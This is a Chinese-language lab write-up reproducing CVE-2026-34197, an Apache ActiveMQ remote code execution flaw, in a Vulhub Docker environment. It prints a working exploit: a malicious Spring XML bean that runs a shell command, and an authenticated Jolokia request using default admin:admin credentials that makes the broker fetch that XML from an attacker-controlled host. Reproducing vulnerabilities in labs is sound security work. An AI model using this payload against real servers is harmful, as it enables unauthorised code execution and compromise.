ActiveMQ(CVE-2026-34197)RCE漏洞复现分析
ActiveMQ(CVE-2026-34197)
RCE漏洞复现分析
1.漏洞原理
CVE-2026-34197是Apache ActiveMQ 5.19.4版本之前以及6.0.0至6.2.3版本之前存在的一个远程代码执行漏洞。通过传入一个精心构造的vm://传输URI,其中包含指向攻击者控制的Spring XML配置文件的brokerConfig参数。当ActiveMQ处理该URI时,会获取并解析远程XML配置,从而触发Spring Bean实例化并执行任意代码。
该漏洞可以与CVE-2024-32114(ActiveMQ 6.0.0至6.1.1版本中Jolokia未授权访问)组合利用实现未授权RCE,也可以在需要API认证的版本上使用默认凭据(admin:admin)进行利用。

2.环境准备
本文使用 Vulhub 中的 CVE-2026-34197 靶场环境进行复现演示。
Vulhub 是一个基于 Docker 的漏洞环境集合,可以通过以下命令下载:
# 下载项目
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
# 解压
unzip vulhub-master.zip
# 进入解压后的目录
cd vulhub-master
进入靶场目录一键拉取靶场,我这边是把vulhub安装到root目录下了,根据实际情况进入到靶场目录:
# 进入靶场目录
cd /root/vulhub/activemq/CVE-2026-34197

通过docker-compose命令一键拉取靶场:
# 拉取靶场
docker-compose up -d

浏览器访问目标主机后,发现要求登录,这里可以结合ActiveMQ本身自带的未授权访问漏洞(CVE-2024-32114)进行攻击。由于CVE-2026-34197是一个认证后的 RCE 漏洞,攻击者可以使用默认凭证 admin:admin 进行攻击。

可以正常访问,环境准备完毕。

3.攻击复现
第一步,准备恶意配置文件
在攻击者控制的机器上启动一个 HTTP 服务器,用于托管一个恶意的 Spring XML 配置文件。以下配置示例会让目标服务器执行命令 id > /tmp/success
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[id > /tmp/success]]></value>
</list>
</constructor-arg>
</bean>
</beans>
将上述内容保存为 poc.xml 文件,并在同一目录下启动一个 Python HTTP 服务器(端口 80)。
第二步,构造攻击请求
接着,向目标 ActiveMQ 的 Jolokia API 发送一个经过认证的 POST 请求。请求体用于在 Broker MBean 上调用 addNetworkConnector 操作,并传入一个精心构造的发现 URI。这个 URI 会指示 ActiveMQ 通过 Spring 的资源加载机制去获取攻击者服务器上的恶意 XML 文件。
POST /api/jolokia/ HTTP/1.1
Host: 192.168.111.130:8161
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 225
{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "addNetworkConnector(java.lang.String)",
"arguments": ["static:(vm://evil?brokerConfig=xbean:http://192.168.111.1:80/poc.xml)"]
}
第三步,重放攻击请求
打开浏览器代理,确保BP可以正常拦截流量。
打开BP后刷新浏览器,拦截到请求报文。
使用Repeater模块重放事先构造好的攻击请求,目标正常响应
第四步:验证命令执行
最后,通过检查容器内的结果文件来验证命令是否成功执行:
docker compose exec activemq cat /tmp/success
# 查看容器内是否有对应文件
docker compose exec activemq cat /tmp/success

复现完毕,感谢支持。
更多推荐
所有评论(0)